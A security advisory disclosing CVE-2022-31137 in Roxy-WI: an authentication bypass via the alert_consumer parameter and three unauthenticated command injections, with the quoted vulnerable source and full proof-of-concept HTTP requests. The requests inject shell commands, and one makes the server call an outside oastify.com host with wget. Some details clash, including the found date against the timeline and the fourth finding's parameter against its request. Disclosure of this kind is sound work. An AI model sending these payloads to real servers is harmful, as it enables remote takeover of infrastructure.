Advisory | Roxy-WI Unauthenticated Remote Code Executions CVE-2022-31137

Roxy-WI was created for people who want a fault-tolerant infrastructure but do not want to dive deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived, or just need a convenient interface for managing all services in one place.

Advisory Information

Remotely Exploitable: Yes
Authentication Required: No
Vendor URL: roxy-wi.org
CVSSv3.1 Score: 10.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L)
Date of found: 10.06.2022

Technical Details

Vulnerability #1 – Authentication Bypass

Upon obtaining the Roxy-WI source code from the Roxy GitHub account, I finished the application installation and started to examine the application. I visited the Login page to analyze the post-installation application. While visiting the login page, I observed that the application requested the /app/options.py path. If the resources in the application can be accessed without authentication, this is a good point to start analyzing the source code. Therefore, I started offensive source code analysis on the /app/options.py file. This quite long file contains all the admin functionalities. The functionalities on the application send an ajax request to the options.py file, and all operations are performed here. On the other hand, access to files on the application front-end is provided with adequate session controls, while access to options.py is controlled via a local variable. 🤦

#!/usr/bin/env python3

form = funct.form
serv = funct.is_ip_or_dns(form.getvalue('serv'))
act = form.getvalue("act")

if (
        form.getvalue('new_metrics')
        or form.getvalue('new_http_metrics')
        or form.getvalue('new_waf_metrics')
        or form.getvalue('new_nginx_metrics')
        or form.getvalue('metrics_hapwi_ram')
        or form.getvalue('metrics_hapwi_cpu')
        or form.getvalue('getoption')
        or form.getvalue('getsavedserver')
):
    print('Content-type: application/json\n')
else:
    print('Content-type: text/html\n')

if act == "checkrestart":
    servers = sql.get_dick_permit(ip=serv)
    for server in servers:
        if server != "":
            print("ok")
            sys.exit()
    sys.exit()

if form.getvalue('alert_consumer') is None:
    if not sql.check_token_exists(form.getvalue("token")):
        print('error: Your token has been expired')
        sys.exit()

Lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer variable is defined and not null in the body of the request sent to the options.py.

Due to the nature of the application, you can control the networks and services contained in the application, even if there is no other vulnerability other than the authentication bypass vulnerability. Hence, it may cause critical situations.

HTTP POST request required to trigger the issue is as follows.

POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: https://192.168.56.114
Dnt: 1
Referer: https://192.168.56.114/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45

Vulnerability #2 – Unauthenticated Remote Code Execution via ssh_command

Generally, network and service-based management applications such as Roxy-WI need to perform operations on the operating system. So, if the access control and authentication are bypassed, we may have access to the treasure. Therefore, after bypassing the authentication (see; vulnerability 1), I examined where the application was performing operations at the operating system level.

In the options.py the file was calling a function defined as ssh_command a lot, and ssh_command uses to perform operations on defined remote services.

if form.getvalue('getcert') is not None and serv is not None:
    cert_id = form.getvalue('getcert')
    cert_path = sql.get_setting('cert_path')
    commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
    try:
        funct.ssh_command(serv, commands, ip="1")
    except Exception as e:
        print('error: Cannot connect to the server ' + e.args[0])

On lines 1 and 6, the getcert variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command function in the /app/funct.py file.

def ssh_command(server_ip, commands, **kwargs):
    ssh = ssh_connect(server_ip)

    for command in commands:
        try:
            stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
        except Exception as e:
            logging('localhost', ' ' + str(e), haproxywi=1)
            ssh.close()
            return str(e)

        if kwargs.get('raw'):
            return stdout
        try:
            if kwargs.get("ip") == "1":
                show_ip(stdout)
            elif kwargs.get("show_log") == "1":
                return show_log(stdout, grep=kwargs.get("grep"))
            elif kwargs.get("server_status") == "1":
                server_status(stdout)
            elif kwargs.get('print_out'):
                print(stdout.read().decode(encoding='UTF-8'))
                return stdout.read().decode(encoding='UTF-8')
            elif kwargs.get('return_err') == 1:
                return stderr.read().decode(encoding='UTF-8')
            else:
                return stdout.read().decode(encoding='UTF-8')
        except Exception as e:
            logging('localhost', str(e), haproxywi=1)
        finally:
            ssh.close()

        for line in stderr.read().decode(encoding='UTF-8'):
            if line:
                print("<div class='alert alert-warning'>" + line + "</div>")
                logging('localhost', ' ' + line, haproxywi=1)

In line 6, it can be seen that the ssh_command function uses the command variable defined in file /app/funct.py without processing it. Bingo!

HTTP POST request required to trigger the issue is as follows.

POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;

Note: In the examinations, it was seen that the ssh_command function was used on 34 different lines, and it was seen that 15+ of them were affected by the vulnerability.

Vulnerability #3 – Unauthenticated Remote Code Execution via subprocess_execute

Roxy-WI also performs operations with local configuration files. Operations performed through the local server are performed using the subprocess_execute function in the options.py

if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
    haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
    backend = form.getvalue('ipbackend')
    cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
    output, stderr = funct.subprocess_execute(cmd)
    for i in output:
        if i == ' ':
            continue
        i = i.strip()
        print(i + '<br>')

On lines between 1 and 5, if the ipbackend and backend_server variables are defined, the ipbackend variable is assigned directly to the cmd variable. Then the cmd variable is passed to the subprocess_execute function defined in /app/func.py.

def subprocess_execute(cmd):
    import subprocess
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
    stdout, stderr = p.communicate()
    output = stdout.splitlines()

    return output, stderr

In line 3, it can be seen that the cmd value is executed directly without being processed.

HTTP POST request necessary to trigger the issue is as follows.

POST /app/options.py HTTP/1.1
Host: 192.168.56.114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: https://192.168.56.114
Referer: https://192.168.56.114/app/login.py
Connection: close

alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1

Note: In the examinations, it was seen that the subprocess_execute function was used on 85 different lines, and it was seen that 50+ of them were affected by the vulnerability.

Vulnerability #4 – Unauthenticated Remote Code Execution

On the other hand, Roxy-WI has certificate files for application operations. Certificate files are controlled and processed by administrators. The following code block executes to upload the certificates in the options.py.

if serv and form.getvalue('ssl_cert'):
    cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
    cert_path = sql.get_setting('cert_path')
    name = ''

    if not os.path.exists(cert_local_dir):
        os.makedirs(cert_local_dir)

    if form.getvalue('ssl_name') is None:
        print('error: Please enter a desired name')
    else:
        name = form.getvalue('ssl_name')

    try:
        with open(name, "w") as ssl_cert:
            ssl_cert.write(form.getvalue('ssl_cert'))
    except IOError as e:
        print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])

    MASTERS = sql.is_master(serv)
    for master in MASTERS:
        if master[0] is not None:
            funct.upload(master[0], cert_path, name)
            print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
    try:
        error = funct.upload(serv, cert_path, name)
        print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
    except Exception as e:
        funct.logging('localhost', e.args[0], haproxywi=1)
    try:
        os.system("mv %s %s" % (name, cert_local_dir))
    except OSError as e:
        funct.logging('localhost', e.args[0], haproxywi=1)

    funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)

On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.

HTTP POST request necessary to trigger the issue is as follows.

POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close

show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com;

Metasploit Module

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/roxy_wi_exec.rb

Timeline

01 July 2022 21:00 GMT+3 – Starting vulnerability research.
01 July 2022 22:32 GMT+3 – Found the vulnerabilities.
03 July 2022 21:00 GMT+3 – Finishing research.
05 July 2022 20:13 GMT+3 – Reporting to the Roxy-WI team.
08 July 2022 20:30 GMT+3 – Roxy-WI fixed the vulnerability.
21 July 2022 – Public PoC release.

Nuri Çilengir

Pentest Ninja at @prodaft